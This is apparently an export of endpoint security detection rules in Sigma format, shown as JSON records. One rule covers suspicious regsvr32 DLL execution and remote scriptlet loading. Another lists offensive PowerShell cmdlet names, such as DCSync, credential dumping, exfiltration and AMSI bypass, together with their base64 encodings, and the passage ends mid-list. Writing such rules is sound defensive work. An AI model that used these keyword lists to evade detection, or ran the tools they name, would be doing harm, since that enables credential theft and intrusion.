+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e0a4c001-5e60-4bb3-ad0c-3b39e89483be",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "weak",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.607560Z",
+  "creation_date": "2026-03-23T11:45:34.607564Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.607571Z",
+  "rule_level": "medium",
+  "rule_confidence": "weak",
+  "rule_confidence_override": null,
+  "references": [
+    "https://twitter.com/pr0xylife/status/1571908774021013504",
+    "https://twitter.com/Max_Mal_/status/1542461200797163522",
+    "https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/",
+    "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/",
+    "https://attack.mitre.org/techniques/T1059/",
+    "https://attack.mitre.org/techniques/T1218/010/"
+  ],
+  "name": "t1059_suspicious_execution_of_regsvr32.yml",
+  "content": "title: Suspicious Direct DLL Execution via Regsvr32\nid: e0a4c001-5e60-4bb3-ad0c-3b39e89483be\ndescription: |\n    Detects the direct execution of a DLL through Regsvr32 with a suspicious context (Office applications, renamed DLLs etc.).\n    Attackers often use Regsvr32 as a stealthier way to run their DLL payloads.\n    It is recommended to investigate the ancestor processes and the contents of the DLL to determine if this action was legitimate.\nreferences:\n    - https://twitter.com/pr0xylife/status/1571908774021013504\n    - https://twitter.com/Max_Mal_/status/1542461200797163522\n    - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/\n    - https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/\n    - https://attack.mitre.org/techniques/T1059/\n    - https://attack.mitre.org/techniques/T1218/010/\ndate: 2022/09/26\nmodified: 2025/10/27\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.t1059\n    - attack.defense_evasion\n    - attack.t1218.010\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.Regsvr32\n    - classification.Windows.Behavior.ProxyExecution\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        - OriginalFileName: 'regsvr32.exe'\n        - Image|endswith: '\\regsvr32.exe'\n\n    # Suspicious DLL extensions\n    selection_extensions:\n        CommandLine|endswith:\n            - '.jpg'\n            - '.jpeg'\n            - '.png'\n            - '.gif'\n            - '.bin'\n            - '.tmp'\n            - '.temp'\n            - '.txt'\n\n    # DLL execution from suspicious folders\n    selection_folder:\n        CommandLine|contains:\n            - '\\AppData\\Roaming\\Microsoft'\n            - '\\AppData\\Local\\Temp'\n            - '?:\\Users\\Public'\n            - '?:\\PerfLogs\\'\n\n    # Remote SCT script execution via scrobj\n    selection_remote_sct_1:\n        CommandLine|contains|all:\n            - 'i:'\n            - 'http'\n            - 'scrobj.dll'\n\n    selection_remote_sct_2:\n        CommandLine|contains|all:\n            - 'i:'\n            - 'ftp'\n            - 'scrobj.dll'\n\n    selection_powershell:\n        ParentImage|endswith:\n            - '\\powershell.exe'\n            - '\\pwsh.exe'\n            - '\\powershell_ise.exe'\n\n    selection_mshta:\n        ParentImage|endswith: '\\mshta.exe'\n\n    selection_wscript:\n        GrandparentImage|endswith: '\\wscript.exe'\n\n    selection_office:\n        ParentImage|endswith:\n            - '\\WINWORD.EXE'\n            - '\\EXCEL.EXE'\n            - '\\OUTLOOK.EXE'\n            - '\\MSPUB.EXE'\n            - '\\POWERPNT.EXE'\n            - '\\VISIO.EXE'\n            - '\\EQNEDT32.EXE'  # related to CVE 2017-11882\n\n    exclusion_commandline:\n        CommandLine:\n            - '?:\\windows\\system32\\regsvr32.exe /* ?:\\Program Files\\\\*.dll'\n            - '?:\\windows\\system32\\regsvr32.exe /* ?:\\Program Files (x86)\\\\*.dll'\n            - '?:\\Windows\\System32\\regsvr32.exe /* ?:\\WINDOWS\\\\*.dll'\n            - '?:\\Windows\\System32\\regsvr32.exe /u /s ?:\\MININT\\Tools\\X64\\TSCore.dll'\n            - '?:\\Windows\\System32\\regsvr32.exe /s ?:\\Users\\\\*\\AppData\\Local\\Temp\\Tools\\x??\\Microsoft.BDD.Utility.dll'\n\n    exclusion_ancestors:\n        Ancestors|contains:\n            - '?:\\Windows\\AdminArsenal\\PDQDeployRunner\\service-?\\PDQDeployRunner-?.exe'\n            - '?:\\ProgramData\\CentraStage\\AEMAgent\\AEMAgent.exe'\n            - '?:\\Windows\\CCM\\CcmExec.exe'\n            - '?:\\Program Files\\Nexthink\\Collector\\Coordinator\\nxtcod.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\SWD\\SDCLIENT.EXE'\n\n    exclusion_lenovo:\n        CommandLine|contains:\n            - '?:\\ProgramData\\Lenovo\\ImController\\Plugins\\LenovoBatteryGaugePackage\\'\n            - '?:\\ProgramData\\Lenovo\\Vantage\\Addins\\LenovoBatteryGaugeAddin\\\\*\\LenovoBatteryGaugePackage.dll'\n\n    exclusion_printing:\n        ParentImage|endswith:\n            - '\\WINWORD.EXE'\n            - '\\EXCEL.EXE'\n            - '\\OUTLOOK.EXE'\n            - '\\MSPUB.EXE'\n            - '\\POWERPNT.EXE'\n            - '\\VISIO.EXE'\n            - '\\EQNEDT32.EXE'\n        CommandLine|contains: 'OnPrinterAccess'\n\n    # Microsoft Deployment Toolkit\n    exclusion_mdt1:\n        ParentCommandLine:\n            - '?:\\Windows\\System32\\wscript.exe *\\Scripts\\LTICleanup.wsf'\n            - '?:\\windows\\system32\\wscript.exe *\\Scripts\\LiteTouch.wsf'\n        CommandLine|contains|all:\n            - '\\AppData\\Local\\Temp\\'\n            - '\\Tools\\x??\\Microsoft.BDD.Utility.dll'\n    exclusion_mdt2:\n        ParentCommandLine|contains|all:\n            - '\\AppData\\Local\\Temp\\'\n            - '\\Tools\\x??\\Microsoft.BDD.Utility.dll'\n        CommandLine|contains|all:\n            - '\\AppData\\Local\\Temp\\'\n            - '\\Tools\\x??\\Microsoft.BDD.Utility.dll'\n\n    exclusion_mdt3:\n        GrandparentCommandLine|contains: 'wscript.exe *\\Scripts\\LiteTouch.wsf'\n\n    exclusion_genapi:\n        ParentImage: '?:\\Users\\\\*\\AppData\\Local\\Apps\\\\*\\inot...*\\GenApi.*.exe'\n\n    exclusion_nexthink:\n        CommandLine: '?:\\Windows\\system32\\regsvr32.exe /s ?:\\Windows\\System32\\wbem\\\\*.dll'\n        ParentImage: '?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe'\n        GrandparentImage: '?:\\Program Files\\Nexthink\\Collector\\Coordinator\\nxtcod.exe'\n\n    exclusion_landesk:\n        GrandparentImage|startswith: '?:\\Program Files (x86)\\LANDesk\\LDClient\\sdmcache\\'\n\n    exclusion_ivanti:\n        GrandparentImage|startswith: '?:\\Program Files (x86)\\Ivanti\\EPM Agent\\sdmcache\\'\n\n    exclusion_sccm:\n        - Ancestors|contains|all:\n            - '?:\\Windows\\ccmcache\\'\n            - '|?:\\Windows\\System32\\services.exe|?:\\Windows\\System32\\wininit.exe'\n        - ParentCommandLine|contains: '?:\\WINDOWS\\ccmcache\\'\n          GrandparentImage: '?:\\Windows\\System32\\wbem\\WmiPrvSE.exe'\n\n    condition: selection and 1 of selection_* and not 1 of exclusion_*\nlevel: medium\nconfidence: weak\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "e0a4c001-5e60-4bb3-ad0c-3b39e89483be",
+  "rule_name": "Suspicious Direct DLL Execution via Regsvr32",
+  "rule_description": "Detects the direct execution of a DLL through Regsvr32 with a suspicious context (Office applications, renamed DLLs etc.).\nAttackers often use Regsvr32 as a stealthier way to run their DLL payloads.\nIt is recommended to investigate the ancestor processes and the contents of the DLL to determine if this action was legitimate.\n",
+  "rule_creation_date": "2022-09-26",
+  "rule_modified_date": "2025-10-27",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059",
+    "attack.t1218.010"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "e0fe5da5-765a-4b7d-9af5-6b711030daa3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:35.296640Z",
+  "creation_date": "2026-03-23T11:45:35.296642Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:35.296646Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Kevin-Robertson/Inveigh",
+    "https://gist.github.com/monoxgas/9d238accd969550136db",
+    "https://gist.github.com/HarmJ0y/c84065c0c487d4c74cc1",
+    "https://github.com/secmode/Invoke-Apex",
+    "https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts",
+    "https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Start-Eidolon.ps1",
+    "https://github.com/danielbohannon/Invoke-CradleCrafter",
+    "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-MicrophoneAudio.ps1",
+    "https://github.com/AlsidOfficial/WSUSpendu",
+    "https://attack.mitre.org/techniques/T1059/001/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_cmd.yml",
+  "content": "title: Malicious PowerShell Commandlets in Command-line\nid: e0fe5da5-765a-4b7d-9af5-6b711030daa3\ndescription: |\n    Detects various malicious commandlets in PowerShell's command-line, generally associated with online repositories containing attack codes to perform memory-only attacks.\n    Attackers may use various PowerShell frameworks as they are easily installed and offer a very large panel of interactive functionnalities.\n    It is recommended to analyze the executed PowerShell script as well as the ancestors of the host process to determine whether this action is legitimate.\nreferences:\n    - https://github.com/Kevin-Robertson/Inveigh\n    - https://gist.github.com/monoxgas/9d238accd969550136db\n    - https://gist.github.com/HarmJ0y/c84065c0c487d4c74cc1\n    - https://github.com/secmode/Invoke-Apex\n    - https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts\n    - https://raw.githubusercontent.com/FuzzySecurity/PowerShell-Suite/master/Start-Eidolon.ps1\n    - https://github.com/danielbohannon/Invoke-CradleCrafter\n    - https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-MicrophoneAudio.ps1\n    - https://github.com/AlsidOfficial/WSUSpendu\n    - https://attack.mitre.org/techniques/T1059/001/\ndate: 2021/03/05\nmodified: 2026/02/23\nauthor: HarfangLab\ntags:\n    - attack.execution\n    - attack.defense_evasion\n    - attack.t1059.001\n    - attack.t1562.001\n    - attack.t1562.006\n    - attack.collection\n    - attack.t1125\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_powershell:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_cmdlet:\n        CommandLine|contains:\n            # Invoke-Inveigh, from Inveigh\n            - 'Invoke-Inveigh'\n            - 'SQBuAHYAbwBrAGUALQBJAG4AdgBlAGkAZwBoA'\n            - 'kAbgB2AG8AawBlAC0ASQBuAHYAZQBpAGcAaA'\n            - 'JAG4AdgBvAGsAZQAtAEkAbgB2AGUAaQBnAGgA'\n            # Invoke-DCSync, from Monoxgas\n            - 'Invoke-DCSync'\n            - 'SQBuAHYAbwBrAGUALQBEAEMAUwB5AG4AYw'\n            - 'kAbgB2AG8AawBlAC0ARABDAFMAeQBuAGMA'\n            - 'JAG4AdgBvAGsAZQAtAEQAQwBTAHkAbgBjA'\n            # Invoke-InveighRelay, from Inveigh\n            - 'Invoke-InveighRelay'\n            - 'SQBuAHYAbwBrAGUALQBJAG4AdgBlAGkAZwBoAFIAZQBsAGEAeQ'\n            - 'kAbgB2AG8AawBlAC0ASQBuAHYAZQBpAGcAaABSAGUAbABhAHkA'\n            - 'JAG4AdgBvAGsAZQAtAEkAbgB2AGUAaQBnAGgAUgBlAGwAYQB5A'\n            # Invoke-PsExec, from HarmJ0y\n            - 'Invoke-PsExec'\n            - 'SQBuAHYAbwBrAGUALQBQAHMARQB4AGUAYw'\n            - 'kAbgB2AG8AawBlAC0AUABzAEUAeABlAGMA'\n            - 'JAG4AdgBvAGsAZQAtAFAAcwBFAHgAZQBjA'\n            # Invoke-SSHCommand, from Post-SSH\n            - 'Invoke-SSHCommand'\n            - 'SQBuAHYAbwBrAGUALQBTAFMASABDAG8AbQBtAGEAbgBkA'\n            - 'kAbgB2AG8AawBlAC0AUwBTAEgAQwBvAG0AbQBhAG4AZA'\n            - 'JAG4AdgBvAGsAZQAtAFMAUwBIAEMAbwBtAG0AYQBuAGQA'\n            # Invoke-SMBScanner\n            - 'Invoke-SMBScanner'\n            - 'SQBuAHYAbwBrAGUALQBTAE0AQgBTAGMAYQBuAG4AZQByA'\n            - 'kAbgB2AG8AawBlAC0AUwBNAEIAUwBjAGEAbgBuAGUAcg'\n            - 'JAG4AdgBvAGsAZQAtAFMATQBCAFMAYwBhAG4AbgBlAHIA'\n            # Invoke-TimeStomp, from Apex\n            - 'Invoke-TimeStomp'\n            - 'SQBuAHYAbwBrAGUALQBUAGkAbQBlAFMAdABvAG0AcA'\n            - 'kAbgB2AG8AawBlAC0AVABpAG0AZQBTAHQAbwBtAHAA'\n            - 'JAG4AdgBvAGsAZQAtAFQAaQBtAGUAUwB0AG8AbQBwA'\n            # Invoke-Creds, from Invoke-Apex\n            - 'Invoke-Creds'\n            - 'SQBuAHYAbwBrAGUALQBDAHIAZQBkAHMA'\n            - 'kAbgB2AG8AawBlAC0AQwByAGUAZABzA'\n            - 'JAG4AdgBvAGsAZQAtAEMAcgBlAGQAcw'\n            # Invoke-UACBypass, from Matthew Graeber (@mattifestation) and Matt Nelson (@enigma0x3)\n            - 'Invoke-UACBypass'\n            - 'SQBuAHYAbwBrAGUALQBVAEEAQwBCAHkAcABhAHMAcw'\n            - 'kAbgB2AG8AawBlAC0AVQBBAEMAQgB5AHAAYQBzAHMA'\n            - 'JAG4AdgBvAGsAZQAtAFUAQQBDAEIAeQBwAGEAcwBzA'\n            # Invoke-Exfil, from Invoke-Apex\n            - 'Invoke-Exfil'\n            - 'SQBuAHYAbwBrAGUALQBFAHgAZgBpAGwA'\n            - 'kAbgB2AG8AawBlAC0ARQB4AGYAaQBsA'\n            - 'JAG4AdgBvAGsAZQAtAEUAeABmAGkAbA'\n            # Invoke-Persistence, from Invoke-Apex\n            - 'Invoke-Persistence'\n            - 'SQBuAHYAbwBrAGUALQBQAGUAcgBzAGkAcwB0AGUAbgBjAGUA'\n            - 'kAbgB2AG8AawBlAC0AUABlAHIAcwBpAHMAdABlAG4AYwBlA'\n            - 'JAG4AdgBvAGsAZQAtAFAAZQByAHMAaQBzAHQAZQBuAGMAZQ'\n            # Invoke-Privesc, from Invoke-Privesc\n            - 'Invoke-Privesc'\n            - 'SQBuAHYAbwBrAGUALQBQAHIAaQB2AGUAcwBjA'\n            - 'kAbgB2AG8AawBlAC0AUAByAGkAdgBlAHMAYw'\n            - 'JAG4AdgBvAGsAZQAtAFAAcgBpAHYAZQBzAGMA'\n            # Invoke-WMIMethod, from Microsoft :)\n            - 'Invoke-WMIMethod'\n            - 'SQBuAHYAbwBrAGUALQBXAE0ASQBNAGUAdABoAG8AZA'\n            - 'kAbgB2AG8AawBlAC0AVwBNAEkATQBlAHQAaABvAGQA'\n            - 'JAG4AdgBvAGsAZQAtAFcATQBJAE0AZQB0AGgAbwBkA'\n            # timestomp\n            - 'timestomp'\n            - 'dABpAG0AZQBzAHQAbwBtAHAA'\n            - 'QAaQBtAGUAcwB0AG8AbQBwA'\n            - '0AGkAbQBlAHMAdABvAG0AcA'\n            # PowerDump (both in PascalCase and lowercase)\n            - 'PowerDump'\n            - 'UABvAHcAZQByAEQAdQBtAHAA'\n            - 'AAbwB3AGUAcgBEAHUAbQBwA'\n            - 'QAG8AdwBlAHIARAB1AG0AcA'\n            - 'cABvAHcAZQByAGQAdQBtAHAA'\n            - 'AAbwB3AGUAcgBkAHUAbQBwA'\n            - 'wAG8AdwBlAHIAZAB1AG0AcA'\n            # Invoke-Obfuscation\n            - 'Invoke-Obfuscation'\n            - 'SQBuAHYAbwBrAGUALQBPAGIAZgB1AHMAYwBhAHQAaQBvAG4A'\n            - 'kAbgB2AG8AawBlAC0ATwBiAGYAdQBzAGMAYQB0AGkAbwBuA'\n            - 'JAG4AdgBvAGsAZQAtAE8AYgBmAHUAcwBjAGEAdABpAG8Abg'\n            # Invoke-AmsiBypass\n            - 'Invoke-AmsiBypass'\n            - 'SQBuAHYAbwBrAGUALQBBAG0AcwBpAEIAeQBwAGEAcwBzA'\n            - 'kAbgB2AG8AawBlAC0AQQBtAHMAaQBCAHkAcABhAHMAcw'\n            - 'JAG4AdgBvAGsAZQAtAEEAbQBzAGkAQgB5AHAAYQBzAHMA'\n            # Take-Screenshot, from Mr-Un1k0d3r\n            - 'Take-Screenshot'\n            - 'VABhAGsAZQAtAFMAYwByAGUAZQBuAHMAaABvAHQA'\n            - 'QAYQBrAGUALQBTAGMAcgBlAGUAbgBzAGgAbwB0A'\n            - 'UAGEAawBlAC0AUwBjAHIAZQBlAG4AcwBoAG8AdA'\n            # Invoke-ADPasswordBruteForce, from Mr-Un1k0d3r\n            - 'Invoke-ADPasswordBruteForce'\n            - 'SQBuAHYAbwBrAGUALQBBAEQAUABhAHMAcwB3AG8AcgBkAEIAcgB1AHQAZQBGAG8AcgBjAGUA'\n            - 'kAbgB2AG8AawBlAC0AQQBEAFAAYQBzAHMAdwBvAHIAZABCAHIAdQB0AGUARgBvAHIAYwBlA'\n            - 'JAG4AdgBvAGsAZQAtAEEARABQAGEAcwBzAHcAbwByAGQAQgByAHUAdABlAEYAbwByAGMAZQ'\n            # Remote-WmiExecute, from Mr-Un1k0d3r\n            - 'Remote-WmiExecute'\n            - 'UgBlAG0AbwB0AGUALQBXAG0AaQBFAHgAZQBjAHUAdABlA'\n            - 'IAZQBtAG8AdABlAC0AVwBtAGkARQB4AGUAYwB1AHQAZQ'\n            - 'SAGUAbQBvAHQAZQAtAFcAbQBpAEUAeABlAGMAdQB0AGUA'\n            # Invoke-CradleCrafter, from danielbohannon\n            - 'Invoke-CradleCrafter'\n            - 'SQBuAHYAbwBrAGUALQBDAHIAYQBkAGwAZQBDAHIAYQBmAHQAZQByA'\n            - 'kAbgB2AG8AawBlAC0AQwByAGEAZABsAGUAQwByAGEAZgB0AGUAcg'\n            - 'JAG4AdgBvAGsAZQAtAEMAcgBhAGQAbABlAEMAcgBhAGYAdABlAHIA'\n            # Remote-RegisterProtocolHandler, from Mr-Un1k0d3r\n            - 'Remote-RegisterProtocolHandler'\n            - 'UgBlAG0AbwB0AGUALQBSAGUAZwBpAHMAdABlAHIAUAByAG8AdABvAGMAbwBsAEgAYQBuAGQAbABlAHIA'\n            - 'IAZQBtAG8AdABlAC0AUgBlAGcAaQBzAHQAZQByAFAAcgBvAHQAbwBjAG8AbABIAGEAbgBkAGwAZQByA'\n            - 'SAGUAbQBvAHQAZQAtAFIAZQBnAGkAcwB0AGUAcgBQAHIAbwB0AG8AYwBvAGwASABhAG4AZABsAGUAcg'\n            # Start-Eidolon, from FuzzySec\n            - 'Start-Eidolon'\n            - 'UwB0AGEAcgB0AC0ARQBpAGQAbwBsAG8Abg'\n            - 'MAdABhAHIAdAAtAEUAaQBkAG8AbABvAG4A'\n            - 'TAHQAYQByAHQALQBFAGkAZABvAGwAbwBuA'\n            # Invoke-OutCradle, from danielbohannon\n            - 'Invoke-OutCradle'\n            - 'SQBuAHYAbwBrAGUALQBPAHUAdABDAHIAYQBkAGwAZQ'\n            - 'kAbgB2AG8AawBlAC0ATwB1AHQAQwByAGEAZABsAGUA'\n            - 'JAG4AdgBvAGsAZQAtAE8AdQB0AEMAcgBhAGQAbABlA'\n            # Out-CradleContents, from danielbohannon\n            - 'Out-CradleContents'\n            - 'TwB1AHQALQBDAHIAYQBkAGwAZQBDAG8AbgB0AGUAbgB0AHMA'\n            - '8AdQB0AC0AQwByAGEAZABsAGUAQwBvAG4AdABlAG4AdABzA'\n            - 'TwB1AHQALQBDAHIAYQBkAGwAZQ'\n            - '8AdQB0AC0AQwByAGEAZABsAGUA'\n            - 'PAHUAdAAtAEMAcgBhAGQAbABlA'\n            # Get-MicrophoneAudio, from Powersploit\n            - 'Get-MicrophoneAudio'\n            - 'RwBlAHQALQBNAGkAYwByAG8AcABoAG8AbgBlAEEAdQBkAGkAbw'\n            - 'cAZQB0AC0ATQBpAGMAcgBvAHAAaABvAG4AZQBBAHUAZABpAG8A'\n            - 'HAGUAdAAtAE0AaQBjAHIAbwBwAGgAbwBuAGUAQQB1AGQAaQBvA'\n            # Wsuspendu, from ANSSI\n            - 'Wsuspendu'\n            - 'VwBzAHUAcwBwAGUAbgBkAHUA'\n            - 'cAcwB1AHMAcABlAG4AZAB1A'\n            - 'XAHMAdQBzAHAAZQBuAGQAdQ'\n            # VolumeShadowCopyTools\n            - 'VolumeShadowCopyTools'\n            - 'Vm9sdW1lU2hhZG93Q29weVRvb2xz'\n            - 'ZvbHVtZVNoYWRvd0NvcHlUb29sc'\n            - 'Wb2x1bWVTaGFkb3dDb3B5VG9vbH'\n            # Get-Unconstrained\n            - 'Get-Unconstrained'\n            - 'R2V0LVVuY29uc3RyYWluZW'\n            - 'dldC1VbmNvbnN0cmFpbmVk'\n            - 'HZXQtVW5jb25zdHJhaW5lZ'\n            # Check-VM\n            - 'Check-VM'\n            - 'Q2hlY2stVk'\n            - 'NoZWNrLVZN'\n            - 'DaGVjay1WT'\n            # Get-IndexedItem\n            - 'Get-IndexedItem'\n            - 'R2V0LUluZGV4ZWRJdGVt'\n            - 'dldC1JbmRleGVkSXRlb'\n            - 'HZXQtSW5kZXhlZEl0ZW'\n            # Invoke-RunAs\n            - 'Invoke-RunAs'\n            - 'SW52b2tlLVJ1bkFz'\n            - 'ludm9rZS1SdW5Bc'\n            - 'JbnZva2UtUnVuQX'\n            # MailRaider\n            - 'MailRaider'\n            - 'TWFpbFJhaWRlc'\n            - '1haWxSYWlkZX'\n            - 'NYWlsUmFpZGVy'\n            # Invoke-ThunderStruck\n            - 'Invoke-ThunderStruck'\n            - 'SW52b2tlLVRodW5kZXJTdHJ1Y2'\n            - 'ludm9rZS1UaHVuZGVyU3RydWNr'\n            - 'JbnZva2UtVGh1bmRlclN0cnVja'\n            # Invoke-VoiceTroll\n            - 'Invoke-VoiceTroll'\n            - 'SW52b2tlLVZvaWNlVHJvbG'\n            - 'ludm9rZS1Wb2ljZVRyb2xs'\n            - 'JbnZva2UtVm9pY2VUcm9sb'\n            # Get-SecurityPackages\n            - 'Get-SecurityPackages'\n            - 'R2V0LVNlY3VyaXR5UGFja2FnZX'\n            - 'dldC1TZWN1cml0eVBhY2thZ2Vz'\n            - 'HZXQtU2VjdXJpdHlQYWNrYWdlc'\n            # Get-RickAstley\n            - 'Get-RickAstley'\n            - 'R2V0LVJpY2tBc3RsZX'\n            - 'dldC1SaWNrQXN0bGV5'\n            - 'HZXQtUmlja0FzdGxle'\n            # Find-Fruit\n            - 'Find-Fruit'\n            - 'RmluZC1GcnVpd'\n            - 'ZpbmQtRnJ1aX'\n            - 'GaW5kLUZydWl0'\n            # HTTP-Login\n            - 'HTTP-Login'\n            - 'SFRUUC1Mb2dpb'\n            - 'hUVFAtTG9naW'\n            - 'IVFRQLUxvZ2lu'\n            # Find-TrustedDocuments\n            - 'Find-TrustedDocuments'\n            - 'RmluZC1UcnVzdGVkRG9jdW1lbnRz'\n            - 'ZpbmQtVHJ1c3RlZERvY3VtZW50c'\n            - 'GaW5kLVRydXN0ZWREb2N1bWVudH'\n            # Invoke-BadPotato\n            - 'Invoke-BadPotato'\n            - 'SW52b2tlLUJhZFBvdGF0b'\n            - 'ludm9rZS1CYWRQb3RhdG'\n            - 'JbnZva2UtQmFkUG90YXRv'\n            # Invoke-BetterSafetyKatz\n            - 'Invoke-BetterSafetyKatz'\n            - 'SW52b2tlLUJldHRlclNhZmV0eUthdH'\n            - 'ludm9rZS1CZXR0ZXJTYWZldHlLYXR6'\n            - 'JbnZva2UtQmV0dGVyU2FmZXR5S2F0e'\n            # Invoke-Carbuncle\n            - 'Invoke-Carbuncle'\n            - 'SW52b2tlLUNhcmJ1bmNsZ'\n            - 'ludm9rZS1DYXJidW5jbG'\n            - 'JbnZva2UtQ2FyYnVuY2xl'\n            # Invoke-Certify\n            - 'Invoke-Certify'\n            - 'SW52b2tlLUNlcnRpZn'\n            - 'ludm9rZS1DZXJ0aWZ5'\n            - 'JbnZva2UtQ2VydGlme'\n            # Invoke-DAFT\n            - 'Invoke-DAFT'\n            - 'SW52b2tlLURBRl'\n            - 'ludm9rZS1EQUZU'\n            - 'JbnZva2UtREFGV'\n            # Invoke-DinvokeKatz\n            - 'Invoke-DinvokeKatz'\n            - 'SW52b2tlLURpbnZva2VLYXR6'\n            - 'ludm9rZS1EaW52b2tlS2F0e'\n            - 'JbnZva2UtRGludm9rZUthdH'\n            # Invoke-Eyewitness\n            - 'Invoke-Eyewitness'\n            - 'SW52b2tlLUV5ZXdpdG5lc3'\n            - 'ludm9rZS1FeWV3aXRuZXNz'\n            - 'JbnZva2UtRXlld2l0bmVzc'\n            # Invoke-FakeLogonScreen\n            - 'Invoke-FakeLogonScreen'\n            - 'SW52b2tlLUZha2VMb2dvblNjcmVlb'\n            - 'ludm9rZS1GYWtlTG9nb25TY3JlZW'\n            - 'JbnZva2UtRmFrZUxvZ29uU2NyZWVu'\n            # Invoke-Farmer\n            - 'Invoke-Farmer'\n            - 'SW52b2tlLUZhcm1lc'\n            - 'ludm9rZS1GYXJtZX'\n            - 'JbnZva2UtRmFybWVy'\n            # Invoke-Get-RBCD-Threaded\n            - 'Invoke-Get-RBCD-Threaded'\n            - 'SW52b2tlLUdldC1SQkNELVRocmVhZGVk'\n            - 'ludm9rZS1HZXQtUkJDRC1UaHJlYWRlZ'\n            - 'JbnZva2UtR2V0LVJCQ0QtVGhyZWFkZW'\n            # Invoke-Gopher\n            - 'Invoke-Gopher'\n            - 'SW52b2tlLUdvcGhlc'\n            - 'ludm9rZS1Hb3BoZX'\n            - 'JbnZva2UtR29waGVy'\n            # Invoke-Grouper\n            - 'Invoke-Grouper'\n            - 'SW52b2tlLUdyb3VwZX'\n            - 'ludm9rZS1Hcm91cGVy'\n            - 'JbnZva2UtR3JvdXBlc'\n            # Invoke-HandleKatz\n            - 'Invoke-HandleKatz'\n            - 'SW52b2tlLUhhbmRsZUthdH'\n            - 'ludm9rZS1IYW5kbGVLYXR6'\n            - 'JbnZva2UtSGFuZGxlS2F0e'\n            # Invoke-Internalmonologue\n            - 'Invoke-Internalmonologue'\n            - 'SW52b2tlLUludGVybmFsbW9ub2xvZ3Vl'\n            - 'ludm9rZS1JbnRlcm5hbG1vbm9sb2d1Z'\n            - 'JbnZva2UtSW50ZXJuYWxtb25vbG9ndW'\n            # Invoke-KrbRelay\n            - 'Invoke-KrbRelay'\n            - 'SW52b2tlLUtyYlJlbGF5'\n            - 'ludm9rZS1LcmJSZWxhe'\n            - 'JbnZva2UtS3JiUmVsYX'\n            # Invoke-LdapSignCheck\n            - 'Invoke-LdapSignCheck'\n            - 'SW52b2tlLUxkYXBTaWduQ2hlY2'\n            - 'ludm9rZS1MZGFwU2lnbkNoZWNr'\n            - 'JbnZva2UtTGRhcFNpZ25DaGVja'\n            # Invoke-Lockless\n            - 'Invoke-Lockless'\n            - 'SW52b2tlLUxvY2tsZXNz'\n            - 'ludm9rZS1Mb2NrbGVzc'\n            - 'JbnZva2UtTG9ja2xlc3'\n            # Invoke-MITM6\n            - 'Invoke-MITM6'\n            - 'SW52b2tlLU1JVE02'\n            - 'ludm9rZS1NSVRNN'\n            - 'JbnZva2UtTUlUTT'\n            # Invoke-MalSCCM\n            - 'Invoke-MalSCCM'\n            - 'SW52b2tlLU1hbFNDQ0'\n            - 'ludm9rZS1NYWxTQ0NN'\n            - 'JbnZva2UtTWFsU0NDT'\n            # Invoke-NanoDump\n            - 